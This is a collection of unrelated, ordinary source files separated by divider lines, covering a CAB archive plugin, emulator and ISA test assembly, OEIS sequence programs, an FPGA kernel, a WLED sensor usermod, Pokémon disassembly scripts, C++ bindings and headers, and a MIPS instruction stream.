CharToOem( EndPos, Item->FindData.cFileName );
#define _A_ENCRYPTED 8
Item->FindData.dwFileAttributes = FileHeader.attribs & (FILE_ATTRIBUTE_READONLY|FILE_ATTRIBUTE_SYSTEM|FILE_ATTRIBUTE_HIDDEN|FILE_ATTRIBUTE_ARCHIVE|FILE_ATTRIBUTE_DIRECTORY);
Info->Encrypted = FileHeader.attribs & _A_ENCRYPTED;
Item->PackSize=0;
Item->FindData.nFileSizeLow=FileHeader.cbFile;
DosDateTimeToFileTime(FileHeader.date,FileHeader.time,&lft);
LocalFileTimeToFileTime(&lft,&Item->FindData.ftLastWriteTime);
Info->UnpVer=UnpVer;
return(GETARC_SUCCESS);
}
BOOL WINAPI _export CloseArchive(ArcInfo *Info)
{
Info->SFXSize=SFXSize;
return(CloseHandle(ArcHandle));
}
DWORD WINAPI _export GetSFXPos(void)
{
return SFXSize;
}
BOOL WINAPI _export GetFormatName(int Type,char *FormatName,char *DefaultExt)
{
if (Type==0)
{
lstrcpy(FormatName,"CAB");
lstrcpy(DefaultExt,"cab");
return(TRUE);
}
return(FALSE);
}
BOOL WINAPI _export GetDefaultCommands(int Type,int Command,char *Dest)
{
if (Type==0)
{
static const char *Commands[]={
/*Extract */"MsCab -i0 -FAR {-ap%%R} {-p%%P} {%%S} x %%A @%%LMA",
/*Extract without paths */"MsCab -i0 -FAR {-p%%P} {%%S} e %%A @%%LMA",
/*Test */"MsCab -i0 {-p%%P} {%%S} t %%A",
/*Delete */"MsCab -i0 -FAR {-p%%P} {%%S} d %%A @%%LMA",
/*Comment archive */"",
/*Comment files */"",
/*Convert to SFX */"MsCab {%%S} s %%A",
/*Lock archive */"",
/*Protect archive */"",
/*Recover archive */"",
/*Add files */"MsCab -i0 -dirs {-ap%%R} {-p%%P} {%%S} a %%A @%%LNMA",
/*Move files */"MsCab -i0 -dirs {-ap%%R} {-p%%P} {%%S} m %%A @%%LNMA",
/*Add files and folders */"MsCab -r0 -i0 -dirs {-ap%%R} {-p%%P} {%%S} a %%A @%%LNMA",
/*Move files and folders*/"MsCab -r0 -i0 -dirs {-ap%%R} {-p%%P} {%%S} m %%A @%%LNMA",
/*"All files" mask */"*"
};
if (Command < (int)(ARRAYSIZE(Commands)))
{
lstrcpy(Dest,Commands[Command]);
return(TRUE);
}
}
return(FALSE);
}
|
.size 8000
.text@48
jp lstatint
.text@100
jp lbegin
.data@143
c0
.text@150
lbegin:
ld a, 00
ldff(ff), a
ld a, 30
ldff(00), a
ld a, 01
ldff(4d), a
stop, 00
ld b, 98
call lwaitly_b
ld a, 01
ldff(45), a
ld a, 40
ldff(41), a
ld a, 00
ld(8000), a
ld a, 01
ld(c000), a
ld a, c0
ldff(51), a
xor a, a
ldff(52), a
ldff(54), a
ld a, 80
ldff(53), a
xor a, a
ldff(0f), a
ld a, 02
ldff(ff), a
ei
ld hl, 8000
halt
.text@1000
lstatint:
ld a, 80
ldff(55), a
ld b, 07
.text@1071
xor a, a
ldff(55), a
.text@10e8
ld a, (hl)
and a, b
jp lprint_a
.text@7000
lprint_a:
push af
ld b, 91
call lwaitly_b
xor a, a
ldff(40), a
pop af
ld(9800), a
ld bc, 7a00
ld hl, 8000
ld d, a0
lprint_copytiles:
ld a, (bc)
inc bc
ld(hl++), a
dec d
jrnz lprint_copytiles
ld a, c0
ldff(47), a
ld a, 80
ldff(68), a
ld a, ff
ldff(69), a
ldff(69), a
ldff(69), a
ldff(69), a
ldff(69), a
ldff(69), a
xor a, a
ldff(69), a
ldff(69), a
ldff(43), a
ld a, 91
ldff(40), a
lprint_limbo:
jr lprint_limbo
.text@7400
lwaitly_b:
ld c, 44
lwaitly_b_loop:
ldff a, (c)
cmp a, b
jrnz lwaitly_b_loop
ret
.data@7a00
00 00 7f 7f 41 41 41 41
41 41 41 41 41 41 7f 7f
00 00 08 08 08 08 08 08
08 08 08 08 08 08 08 08
00 00 7f 7f 01 01 01 01
7f 7f 40 40 40 40 7f 7f
00 00 7f 7f 01 01 01 01
3f 3f 01 01 01 01 7f 7f
00 00 41 41 41 41 41 41
7f 7f 01 01 01 01 01 01
00 00 7f 7f 40 40 40 40
7e 7e 01 01 01 01 7e 7e
00 00 7f 7f 40 40 40 40
7f 7f 41 41 41 41 7f 7f
00 00 7f 7f 01 01 02 02
04 04 08 08 10 10 10 10
00 00 3e 3e 41 41 41 41
3e 3e 41 41 41 41 3e 3e
00 00 7f 7f 41 41 41 41
7f 7f 01 01 01 01 7f 7f
|
; A022382: Fibonacci sequence beginning 4, 10.
; 4,10,14,24,38,62,100,162,262,424,686,1110,1796,2906,4702,7608,12310,19918,32228,52146,84374,136520,220894,357414,578308,935722,1514030,2449752,3963782,6413534,10377316,16790850,27168166,43959016,71127182,115086198,186213380
mov $1,4
mov $3,10
lpb $0
sub $0,1
mov $2,$1
mov $1,$3
add $3,$2
lpe
mov $0,$1
|
#include "../host/typedefs.h"
// color the frame buffer
void coloringFB_top_m7(
hls::stream<ap_uint<32> > & Input_1,
hls::stream<ap_uint<128> > & Input_2,
hls::stream<ap_uint<512> > & Output_1)
{
#pragma HLS INTERFACE axis register port=Input_1
#pragma HLS INTERFACE axis register port=Input_2
#pragma HLS INTERFACE axis register port=Output_1
#pragma HLS INLINE off
int i,j;
static bit8 frame_buffer[MAX_X][MAX_Y/2];
Pixel pixels;
static bit16 counter=0;
bit16 size_pixels;
bit32 in_tmp;
size_pixels=Input_1.read();
#ifdef PROFILE
coloringFB_top_m_in_1++;
#endif
bit512 out_FB = 0;
if ( counter == 0 )
{
// initilize the framebuffer for a new image
COLORING_FB_INIT_ROW: for ( bit16 i = 0; i < MAX_X; i++)
{
#pragma HLS PIPELINE II=1
COLORING_FB_INIT_COL: for ( bit16 j = 0; j < MAX_Y/2; j++)
frame_buffer[i][j] = 0;
}
}
// update the framebuffer
COLORING_FB: for ( bit16 i = 0; i < size_pixels; i++)
{
#pragma HLS PIPELINE II=1
in_tmp = Input_1.read();
pixels.x(7, 0)=in_tmp(7, 0);
pixels.y(7, 0)=in_tmp(15, 8);
pixels.color(7, 0)=in_tmp(23, 16);
frame_buffer[ pixels.x ][ pixels.y-128 ] = pixels.color;
}
counter++;
if(counter==NUM_3D_TRI){
for (i=0; i<MAX_X; i++){
RECV: for(int k=0; k<MAX_Y/8; k+=16){
bit512 out_tmp;
bit128 tmp;
for(int l=0; l<4; l++){
#pragma HLS PIPELINE II=1
tmp = Input_2.read();
for(int out_i=0; out_i<4; out_i++){
out_tmp(l*128+out_i*32+31, l*128+out_i*32) = tmp(out_i*32+31, out_i*32);
}
}
Output_1.write(out_tmp);
}
SEND: for(j=0; j<MAX_Y/2; j+=64){
for (int k=0; k<64; k++){
#pragma HLS PIPELINE II=1
out_FB( k*8+7, k*8) = frame_buffer[i][j+k];
}
Output_1.write(out_FB);
}
}
counter=0;
}
}
|
# $Id: 15_bgt_1.asm,v 1.3 2001/03/22 00:39:00 ellard Exp $
#
# Copyright 1999-2001 by the President and Fellows of Harvard College.
# See LICENSE.txt for license information.
#
#@ test of bgt.
# OK
lc r2, $gt
bgt r2, r0, r0
add r4, r1, r0
hlt
gt:
lc r3, 10
hlt
|
#include "wled.h"
/*
* This v1 usermod file allows you to add own functionality to WLED more easily
* See: https://github.com/Aircoookie/WLED/wiki/Add-own-functionality
* EEPROM bytes 2750+ are reserved for your custom use case. (if you extend #define EEPSIZE in const.h)
* If you just need 8 bytes, use 2551-2559 (you do not need to increase EEPSIZE)
*
* Consider the v2 usermod API if you need a more advanced feature set!
*/
//Use userVar0 and userVar1 (API calls &U0=,&U1=, uint16_t)
const int LIGHT_PIN = A0; // define analog pin
const long UPDATE_MS = 30000; // Upper threshold between mqtt messages
const char MQTT_TOPIC[] = "/light"; // MQTT topic for sensor values
const int CHANGE_THRESHOLD = 5; // Change threshold in percentage to send before UPDATE_MS
// variables
long lastTime = 0;
long timeDiff = 0;
long readTime = 0;
int lightValue = 0;
float lightPercentage = 0;
float lastPercentage = 0;
//gets called once at boot. Do all initialization that doesn't depend on network here
void userSetup()
{
pinMode(LIGHT_PIN, INPUT);
}
//gets called every time WiFi is (re-)connected. Initialize own network interfaces here
void userConnected()
{
}
void publishMqtt(float state)
{
//Check if MQTT Connected, otherwise it will crash the 8266
if (mqtt != nullptr){
char subuf[38];
strcpy(subuf, mqttDeviceTopic);
strcat(subuf, MQTT_TOPIC);
mqtt->publish(subuf, 0, true, String(state).c_str());
}
}
//loop. You can use "if (WLED_CONNECTED)" to check for successful connection
void userLoop()
{
// Read only every 500ms, otherwise it causes the board to hang
if (millis() - readTime > 500)
{
readTime = millis();
timeDiff = millis() - lastTime;
// Convert value to percentage
lightValue = analogRead(LIGHT_PIN);
lightPercentage = ((float)lightValue * -1 + 1024)/(float)1024 *100;
// Send MQTT message on significant change or after UPDATE_MS
if (abs(lightPercentage - lastPercentage) > CHANGE_THRESHOLD || timeDiff > UPDATE_MS)
{
publishMqtt(lightPercentage);
lastTime = millis();
lastPercentage = lightPercentage;
}
}
}
|
SFX_Cry19_1_Ch5:
duty_cycle_pattern 0, 1, 2, 3
square_note 7, 13, 2, 1856
square_note 15, 14, 5, 1888
square_note 15, 12, 1, 1840
sound_ret
SFX_Cry19_1_Ch6:
duty_cycle_pattern 2, 0, 0, 1
square_note 2, 12, 2, 1793
square_note 4, 12, 2, 1800
square_note 15, 13, 7, 1857
square_note 15, 10, 2, 1793
SFX_Cry19_1_Ch8:
sound_ret
|
/* Copyright 2017 Akihiko Odaki <akihiko.odaki@gmail.com>
All Rights Reserved.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
==============================================================================*/
#include <cstddef>
#include <iostream>
#include <string>
#include <utility>
#include "nnet_language_identifier.h"
#if defined _WIN32 || defined __CYGWIN__
#define EXPORT __declspec(dllexport)
#else
#define EXPORT __attribute__ ((visibility ("default")))
#endif
struct Result {
struct {
const char *data;
std::size_t size;
} language;
struct {
const chrome_lang_id::NNetLanguageIdentifier::SpanInfo *data;
std::size_t size;
} byte_ranges;
float probability;
float proportion;
bool is_reliable;
};
struct OwningResult {
OwningResult(chrome_lang_id::NNetLanguageIdentifier::Result&& result) {
references.language = std::move(result.language);
references.byte_ranges = std::move(result.byte_ranges);
plain.language.data = references.language.data();
plain.language.size = references.language.size();
plain.byte_ranges.data = references.byte_ranges.data();
plain.byte_ranges.size = references.byte_ranges.size();
plain.probability = result.probability;
plain.proportion = result.proportion;
plain.is_reliable = result.is_reliable;
}
Result plain;
struct {
std::string language;
std::vector<chrome_lang_id::NNetLanguageIdentifier::SpanInfo> byte_ranges;
} references;
};
extern "C" {
EXPORT OwningResult *NNetLanguageIdentifier_find_language(
chrome_lang_id::NNetLanguageIdentifier *instance,
const char *data,
std::size_t size) {
return new OwningResult(instance->FindLanguage(std::string(data, size)));
}
EXPORT std::vector<chrome_lang_id::NNetLanguageIdentifier::Result>*
NNetLanguageIdentifier_find_top_n_most_freq_langs(
chrome_lang_id::NNetLanguageIdentifier *instance,
const char *data, std::size_t size, int num_langs) {
std::string text(data, size);
return new auto(instance->FindTopNMostFreqLangs(text, num_langs));
}
EXPORT void delete_NNetLanguageIdentifier(
chrome_lang_id::NNetLanguageIdentifier *pointer) {
delete pointer;
}
EXPORT void delete_result(OwningResult *pointer) {
delete pointer;
}
EXPORT void delete_results(
std::vector<chrome_lang_id::NNetLanguageIdentifier::Result> *pointer) {
delete pointer;
}
EXPORT chrome_lang_id::NNetLanguageIdentifier *new_NNetLanguageIdentifier(
int min_num_bytes, int max_num_bytes) {
return new chrome_lang_id::NNetLanguageIdentifier(
min_num_bytes, max_num_bytes);
}
EXPORT Result refer_to_nth_result(
std::vector<chrome_lang_id::NNetLanguageIdentifier::Result> *results,
std::size_t index) {
Result c;
auto& cc = (*results)[index];
c.language.data = cc.language.data();
c.language.size = cc.language.size();
c.byte_ranges.data = cc.byte_ranges.data();
c.byte_ranges.size = cc.byte_ranges.size();
c.probability = cc.probability;
c.proportion = cc.proportion;
c.is_reliable = cc.is_reliable;
return c;
}
}
|
; vim: filetype=z80:
include "notes.inc"
; sequence
sequence_loop
dw pattern1
dw pattern1a
dw pattern2
dw pattern2
dw pattern1
dw pattern1a
dw pattern2
dw pattern2
dw pattern0
dw pattern0
dw pattern3
dw 0
dw sequence_loop
pattern3
dw #6000,chB_ks_saw,a1,chA_ks_saw,a1
dw #6000,chB_mute,chA_mute
db #40
pattern1
dw #0200,chB_pwm,pwm_kick,#ff00,chA_ks_noise,#ff00,c3
dw #0a80,chB_ks_noise,#af00,c1
dw #0c01,chA_ks_noise,#ff00,c2
dw #0c00,chB_ks_noise,#af00,c1,chA_ks_noise,#ff00,g2
dw #0c01,chA_ks_noise,#ff00,c2
dw #0c00,chB_ks_noise,#af00,c1,chA_ks_noise,#ff00,f2
dw #0c01,chA_ks_noise,#ff00,c2
dw #0c00,chB_ks_noise,#af00,c1,chA_ks_noise,#ff00,g2
dw #0c01,chA_ks_noise,#ff00,c2
dw #0c00,chB_ks_noise,#af00,c1,chA_ks_noise,#ff00,c3
dw #0c01,chA_ks_noise,#ff00,c2
dw #0c00,chB_ks_noise,#af00,c1,chA_ks_noise,#ff00,g2
dw #0c01,chA_ks_noise,#ff00,c2
dw #0c00,chB_ks_noise,#af00,c1,chA_ks_noise,#ff00,f2
dw #0c01,chA_ks_noise,#ff00,c2
dw #0200,chB_pwm,pwm_kick,#ff00,chA_ks_noise,#ff00,g2
dw #0a80,chB_ks_noise,#af00,c1
dw #0c01,chA_ks_noise,#ff00,c2
db #40
pattern1a
dw #0200,chB_pwm,pwm_noise,#ff00,chA_ks_noise,#ff00,c3
dw #0a80,chB_ks_noise,#af00,c1
dw #0c01,chA_ks_noise,#ff00,c2
dw #0c00,chB_ks_noise,#af00,c1,chA_ks_noise,#ff00,g2
dw #0c01,chA_ks_noise,#ff00,c2
dw #0c00,chB_ks_noise,#af00,c1,chA_ks_noise,#ff00,f2
dw #0c01,chA_ks_noise,#ff00,c2
dw #0c00,chB_ks_noise,#af00,c1,chA_ks_noise,#ff00,g2
dw #0c01,chA_ks_noise,#ff00,c2
dw #0c00,chB_ks_noise,#af00,c1,chA_ks_noise,#ff00,c3
dw #0c01,chA_ks_noise,#ff00,c2
dw #0c00,chB_ks_noise,#af00,c1,chA_ks_noise,#ff00,g2
dw #0c01,chA_ks_noise,#ff00,c2
dw #0c00,chB_ks_noise,#af00,c1,chA_ks_noise,#ff00,f2
dw #0c01,chA_ks_noise,#ff00,c2
dw #0200,chB_pwm,pwm_noise,#ff00,chA_ks_noise,#ff00,g2
dw #0a80,chB_ks_noise,#af00,c1
dw #0280,chB_pwm,pwm_noise,#ff00
dw #0a80,chB_ks_noise,#af00,c2
db #40
pattern2
dw #0200,chB_pwm,pwm_kick,#ff00,chA_ks_noise,#ff00,c3
dw #0a80,chB_ks_noise,#af00,a1
dw #0c01,chA_ks_noise,#ff00,c2
dw #0c00,chB_ks_noise,#af00,a1,chA_ks_noise,#ff00,g2
dw #0c01,chA_ks_noise,#ff00,c2
dw #0c00,chB_ks_noise,#af00,a1,chA_ks_noise,#ff00,e2
dw #0c01,chA_ks_noise,#ff00,c2
dw #0c00,chB_ks_noise,#af00,a1,chA_ks_noise,#ff00,g2
dw #0c01,chA_ks_noise,#ff00,c2
dw #0c00,chB_ks_noise,#af00,a1,chA_ks_noise,#ff00,c3
dw #0c01,chA_ks_noise,#ff00,c2
dw #0c00,chB_ks_noise,#af00,a1,chA_ks_noise,#ff00,g2
dw #0c01,chA_ks_noise,#ff00,c2
dw #0c00,chB_ks_noise,#af00,a1,chA_ks_noise,#ff00,e2
dw #0c01,chA_ks_noise,#ff00,c2
dw #0c00,chB_ks_noise,#af00,a1,chA_ks_noise,#ff00,g2
dw #0c01,chA_ks_noise,#ff00,c2
db #40
pattern0
dw #0200,chB_pwm,pwm_kick,#ff00,chA_ks_rect,#ff00,a2+((a2/2)<<8)
dw #1080,chB_ks_rect,#af00,a1+((a1/2)<<8)
dw #0680,chB_ks_rect,#af00,e1+((e1/2)<<8)
dw #1280,chB_ks_rect,#af00,a1+((a1/4)<<8)
dw #0680,chB_ks_rect,#af00,e1+((e1/2)<<8)
dw #1280,chB_ks_rect,#af00,a1+((a1/4)<<8)
dw #0280,chB_pwm,pwm_kick,#ff00
dw #0480,chB_ks_rect,#af00,e1+((e1/4)<<8)
dw #0200,chB_pwm,pwm_noise,#ff00,chA_ks_rect,#af00,e3+((e3/2)<<8)
dw #1080,chB_ks_rect,#af00,a1+((a1/2)<<8)
dw #0680,chB_ks_rect,#af00,e1+((e1/4)<<8)
dw #0200,chB_pwm,pwm_kick,#ff00,chA_ks_rect,#ff00,dis3+((dis3/2)<<8)
dw #1080,chB_ks_rect,#af00,a1+((a1/2)<<8)
dw #0680,chB_ks_rect,#af00,e1+((e1/2)<<8)
dw #1080,chB_ks_rect,#af00,a1+((a1/4)<<8)
dw #0680,chB_ks_rect,#af00,e1+((e1/2)<<8)
dw #0280,chB_pwm,pwm_kick,#ff00
dw #1080,chB_ks_rect,#af00,a1+((a1/4)<<8)
dw #0680,chB_ks_rect,#af00,e1+((e1/4)<<8)
dw #0200,chB_pwm,pwm_noise,#ff00,chA_ks_rect,#af00,b2+((b2/2)<<8)
dw #1080,chB_ks_rect,#af00,a1+((a1/2)<<8)
dw #0680,chB_ks_rect,#af00,e1+((e1/4)<<8)
dw #0200,chB_pwm,pwm_kick,#ff00,chA_ks_rect,#ff00,c3+((c3/2)<<8)
dw #1080,chB_ks_rect,#af00,c2+((c2/16)<<8)
dw #0680,chB_ks_rect,#af00,c1+((c1/16)<<8)
dw #0280,chB_pwm,pwm_kick,#ff00
dw #1080,chB_ks_rect,#af00,c2+((c2/16)<<8)
dw #0680,chB_ks_rect,#af00,c1+((c1/16)<<8)
dw #0280,chB_pwm,pwm_noise,#ff00
dw #1080,chB_ks_rect,#af00,c2+((c2/8)<<8)
dw #0680,chB_ks_rect,#af00,c1+((c1/8)<<8)
dw #0280,chB_pwm,pwm_kick,#ff00
dw #1080,chB_ks_rect,#af00,c2+((c2/8)<<8)
dw #0680,chB_ks_rect,#af00,c1+((c1/8)<<8)
dw #0280,chB_pwm,pwm_kick,#ff00
dw #1080,chB_ks_rect,#af00,c2+((c2/4)<<8)
dw #0680,chB_ks_rect,#af00,c1+((c1/4)<<8)
dw #0280,chB_pwm,pwm_kick,#ff00
dw #1080,chB_ks_rect,#af00,c2+((c2/4)<<8)
dw #0680,chB_ks_rect,#af00,c1+((c1/4)<<8)
dw #0200,chB_pwm,pwm_noise,#ff00,chA_ks_rect,#af00,ais2+((ais2/2)<<8)
dw #1080,chB_ks_rect,#af00,c2+((c2/16)<<8)
dw #0680,chB_ks_rect,#af00,c1+((c1/2)<<8)
dw #0280,chB_pwm,pwm_kick,#ff00
dw #1080,chB_ks_rect,#af00,c2+((c2/2)<<8)
dw #0680,chB_ks_rect,#af00,c1+((c1/2)<<8)
db #40
pwm_noise
db 2,18,3,4,9,1,22,10,3,4,7,2,21,8,17,10,3,2,8,1,9,3,14,8,7,11,23,4
db 7,1,4,11,6,2,8,13,2,11,7,18,4,9,5,2,3,11,0
pwm_kick
db 8,8,8,8,8,8
db #10,#10,#10,#10,#10,#10
db #20,#20,#20,#20,#20,#20
db #40,#40,#40,#40,#40,#40
db #80,#80,#80,#80
db #ff,#ff,#ff,#ff,#ff,#ff,#ff,#ff,#ff,#ff
db 0
|
object_const_def ; object_event constants
const DAYCARE_GRAMPS
const DAYCARE_GRANNY
DayCare_MapScripts:
db 0 ; scene scripts
db 1 ; callbacks
callback MAPCALLBACK_OBJECTS, .EggCheckCallback
.EggCheckCallback:
checkflag ENGINE_DAY_CARE_MAN_HAS_EGG
iftrue .PutDayCareManOutside
clearevent EVENT_DAY_CARE_MAN_IN_DAY_CARE
setevent EVENT_DAY_CARE_MAN_ON_ROUTE_34
return
.PutDayCareManOutside:
setevent EVENT_DAY_CARE_MAN_IN_DAY_CARE
clearevent EVENT_DAY_CARE_MAN_ON_ROUTE_34
return
DayCareManScript_Inside:
faceplayer
opentext
checkevent EVENT_GOT_ODD_EGG
iftrue .AlreadyHaveOddEgg
writetext DayCareManText_GiveOddEgg
buttonsound
closetext
readvar VAR_PARTYCOUNT
ifequal PARTY_LENGTH, .PartyFull
special GiveOddEgg
opentext
writetext DayCareText_GotOddEgg
playsound SFX_KEY_ITEM
waitsfx
writetext DayCareText_DescribeOddEgg
waitbutton
closetext
setevent EVENT_GOT_ODD_EGG
end
.PartyFull:
opentext
writetext DayCareText_PartyFull
waitbutton
closetext
end
.AlreadyHaveOddEgg:
special DayCareMan
waitbutton
closetext
end
DayCareLadyScript:
faceplayer
opentext
checkflag ENGINE_DAY_CARE_MAN_HAS_EGG
iftrue .HusbandWasLookingForYou
special DayCareLady
waitbutton
closetext
end
.HusbandWasLookingForYou:
writetext Text_GrampsLookingForYou
waitbutton
closetext
end
DayCareBookshelf:
jumpstd difficultbookshelf
Text_GrampsLookingForYou:
text "Gramps was looking"
line "for you."
done
Text_DayCareManTalksAboutEggTicket:
text "I'm the DAY-CARE"
line "MAN."
para "There's something"
line "new in GOLDENROD"
para "called the TRADE"
line "CORNER."
para "I was given an EGG"
line "TICKET that can be"
para "traded in for a"
line "ODD EGG."
para "But since we run a"
line "DAY-CARE, we don't"
para "need it. You may"
line "as well have it."
done
DayCareManText_GiveOddEgg:
text "I'm the DAY-CARE"
line "MAN."
para "Do you know about"
line "EGGS?"
para "I was raising"
line "#MON with my"
cont "wife, you see."
para "We were shocked to"
line "find an EGG!"
para "How incredible is"
line "that?"
para "Well, wouldn't you"
line "like this EGG?"
para "Then fine, this is"
line "yours to keep!"
done
DayCareText_ComeAgain:
text "Come again."
done
DayCareText_GotOddEgg:
text "<PLAYER> received"
line "ODD EGG!"
done
DayCareText_DescribeOddEgg:
text "I found that when"
line "I was caring for"
para "someone's #MON"
line "before."
para "But the trainer"
line "didn't want the"
para "EGG, so I'd kept"
line "it around."
done
DayCareText_PartyFull:
text "You've no room for"
line "this."
done
DayCare_MapEvents:
db 0, 0 ; filler
db 4 ; warp events
warp_event 0, 5, ROUTE_34, 3
warp_event 0, 6, ROUTE_34, 4
warp_event 2, 7, ROUTE_34, 5
warp_event 3, 7, ROUTE_34, 5
db 0 ; coord events
db 2 ; bg events
bg_event 0, 1, BGEVENT_READ, DayCareBookshelf
bg_event 1, 1, BGEVENT_READ, DayCareBookshelf
db 2 ; object events
object_event 2, 3, SPRITE_GRAMPS, SPRITEMOVEDATA_STANDING_RIGHT, 0, 0, -1, -1, 0, OBJECTTYPE_SCRIPT, 0, DayCareManScript_Inside, EVENT_DAY_CARE_MAN_IN_DAY_CARE
object_event 5, 3, SPRITE_GRANNY, SPRITEMOVEDATA_STANDING_LEFT, 0, 0, -1, -1, PAL_NPC_RED, OBJECTTYPE_SCRIPT, 0, DayCareLadyScript, -1
|
; A192752: Constant term of the reduction by x^2->x+1 of the polynomial p(n,x) defined below in Comments.
; 1,7,12,23,39,66,109,179,292,475,771,1250,2025,3279,5308,8591,13903,22498,36405,58907,95316,154227,249547,403778,653329,1057111,1710444,2767559,4478007,7245570,11723581,18969155,30692740,49661899,80354643
mov $1,1
mov $2,2
lpb $0
sub $0,1
add $2,4
mov $3,$1
add $1,$2
mov $2,$3
lpe
|
/***********************************************************************
Multiscale/Multiphysics Interfaces for Large-scale Optimization (MILO)
Copyright 2018 National Technology & Engineering Solutions of Sandia,
LLC (NTESS). Under the terms of Contract DE-NA0003525 with NTESS, the
U.S. Government retains certain rights in this software.”
Questions? Contact Tim Wildey (tmwilde@sandia.gov) and/or
Bart van Bloemen Waanders (bartv@sandia.gov)
************************************************************************/
#ifndef SUBGRID_GEN_H
#define SUBGRID_GEN_H
#include "trilinos.hpp"
#include "preferences.hpp"
#include "subgridModel.hpp"
#include "subgridFEM.hpp"
//#include "subgridFEM2.hpp"
using namespace std;
using namespace Intrepid2;
vector<Teuchos::RCP<SubGridModel> > subgridGenerator(const Teuchos::RCP<LA_MpiComm> & Comm,
Teuchos::RCP<Teuchos::ParameterList> & settings,
Teuchos::RCP<panzer_stk::STK_Interface> & macromesh ) {
vector<Teuchos::RCP<SubGridModel> > subgridModels;
if (settings->isSublist("Subgrid")) {
////////////////////////////////////////////////////////////////////////////////
// Define the subgrid models specified in the input file
////////////////////////////////////////////////////////////////////////////////
int nummodels = settings->sublist("Subgrid").get<int>("Number of Models",1);
int num_macro_time_steps = settings->sublist("Solver").get("numSteps",1);
ScalarT finaltime = settings->sublist("Solver").get<ScalarT>("finaltime",1.0);
ScalarT macro_deltat = finaltime/num_macro_time_steps;
if (nummodels == 1) {
Teuchos::RCP<Teuchos::ParameterList> subgrid_pl = rcp(new Teuchos::ParameterList("Subgrid"));
subgrid_pl->setParameters(settings->sublist("Subgrid"));
string subgrid_model_type = subgrid_pl->get<string>("Subgrid Model","FEM");
int macro_block = subgrid_pl->get<int>("Macro Block",0);
std::vector<string> macro_blocknames;
macromesh->getElementBlockNames(macro_blocknames);
topo_RCP macro_topo = macromesh->getCellTopology(macro_blocknames[macro_block]);
if (subgrid_model_type == "FEM") {
subgridModels.push_back(Teuchos::rcp( new SubGridFEM(Comm, subgrid_pl, macro_topo, num_macro_time_steps, macro_deltat) ) );
}
else if (subgrid_model_type == "FEM2") {
//subgridModels.push_back(Teuchos::rcp( new SubGridFEM2(Comm, subgrid_pl, macro_topo, num_macro_time_steps, macro_deltat) ) );
}
subgridModels[subgridModels.size()-1]->macro_block = macro_block;
subgridModels[subgridModels.size()-1]->usage = "1.0";
}
else {
for (int j=0; j<nummodels; j++) {
stringstream ss;
ss << j;
if (settings->sublist("Subgrid").isSublist("Model" + ss.str())) {
Teuchos::RCP<Teuchos::ParameterList> subgrid_pl = rcp(new Teuchos::ParameterList("Subgrid"));
subgrid_pl->setParameters(settings->sublist("Subgrid").sublist("Model" + ss.str()));
string subgrid_model_type = subgrid_pl->get<string>("Subgrid Model","FEM");
int macro_block = subgrid_pl->get<int>("Macro Block",0);
std::vector<string> macro_blocknames;
macromesh->getElementBlockNames(macro_blocknames);
topo_RCP macro_topo = macromesh->getCellTopology(macro_blocknames[macro_block]);
if (subgrid_model_type == "FEM") {
subgridModels.push_back(Teuchos::rcp( new SubGridFEM(Comm, subgrid_pl, macro_topo, num_macro_time_steps, macro_deltat ) ) );
}
else if (subgrid_model_type == "FEM2") {
//subgridModels.push_back(Teuchos::rcp( new SubGridFEM2(Comm, subgrid_pl, macro_topo, num_macro_time_steps, macro_deltat ) ) );
}
subgridModels[subgridModels.size()-1]->macro_block = macro_block;
string usage;
if (j==0) {// to enable default behavior
usage = subgrid_pl->get<string>("usage","1.0");
}
else {
usage = subgrid_pl->get<string>("usage","0.0");
}
subgridModels[subgridModels.size()-1]->usage = usage;
}
}
}
}
return subgridModels;
}
#endif
|
include func.inc
.model huge
.data
myName LABEL BYTE
nameSize db 15
ActualSize db ?
playerName db 15 dup('$')
.code
;description
main PROC
mov ax,@data
mov ds,ax
clearScreen
getTheName playerName
clearScreen
hlt
main ENDP
END main |
// File doc/quickbook/oglplus/quickref/enums/transform_feedback_target.hpp
//
// Automatically generated file, DO NOT modify manually.
// Edit the source 'source/enums/oglplus/transform_feedback_target.txt'
// or the 'source/enums/make_enum.py' script instead.
//
// Copyright 2010-2015 Matus Chochlik.
// Distributed under the Boost Software License, Version 1.0.
// See accompanying file LICENSE_1_0.txt or copy at
// http://www.boost.org/LICENSE_1_0.txt
//
//[oglplus_enums_transform_feedback_target
enum class TransformFeedbackTarget : GLenum
{
TransformFeedback = GL_TRANSFORM_FEEDBACK
};
template <>
__Range<TransformFeedbackTarget> __EnumValueRange<TransformFeedbackTarget>(void);
__StrCRef __EnumValueName(TransformFeedbackTarget);
//]
|
ori $ra,$ra,0xf
sll $4,$4,0
mult $4,$2
mflo $5
mfhi $1
srav $5,$1,$6
srav $1,$1,$0
lui $1,38493
lui $4,31792
ori $5,$5,13453
mthi $5
div $5,$ra
sb $5,9($0)
sll $6,$3,28
multu $1,$1
lb $4,0($0)
addiu $4,$2,-1720
mthi $5
mflo $4
mtlo $5
addiu $2,$2,-13835
srav $1,$1,$4
div $6,$ra
mflo $5
srav $5,$0,$0
mtlo $0
sb $1,6($0)
mthi $1
divu $4,$ra
ori $1,$1,17663
divu $5,$ra
mtlo $0
mthi $5
addiu $1,$0,-21587
srav $2,$2,$2
mtlo $5
mtlo $4
mult $4,$3
mflo $4
divu $1,$ra
sb $2,9($0)
sll $5,$4,5
lui $4,14860
sll $3,$2,15
mthi $2
addiu $3,$3,27553
divu $3,$ra
divu $0,$ra
sb $1,5($0)
ori $6,$4,50738
srav $1,$1,$1
addu $1,$1,$1
addiu $2,$2,-1992
lui $4,7953
mthi $2
lui $4,53095
srav $5,$4,$5
mult $4,$4
lb $1,10($0)
divu $6,$ra
lb $0,2($0)
sll $4,$3,2
mflo $0
addiu $5,$5,573
sb $1,7($0)
div $5,$ra
div $4,$ra
addu $5,$6,$5
mthi $5
srav $1,$1,$2
mtlo $0
lui $5,32899
lb $0,11($0)
mfhi $2
addu $4,$4,$2
srav $5,$6,$1
divu $6,$ra
mult $1,$5
addiu $5,$1,8224
srav $4,$1,$1
sll $6,$4,19
lui $6,20979
mfhi $6
addu $5,$2,$2
mflo $5
mfhi $1
addu $4,$5,$1
mtlo $1
lui $4,56768
multu $4,$1
ori $1,$1,60312
lui $5,22059
srav $4,$2,$3
sb $3,15($0)
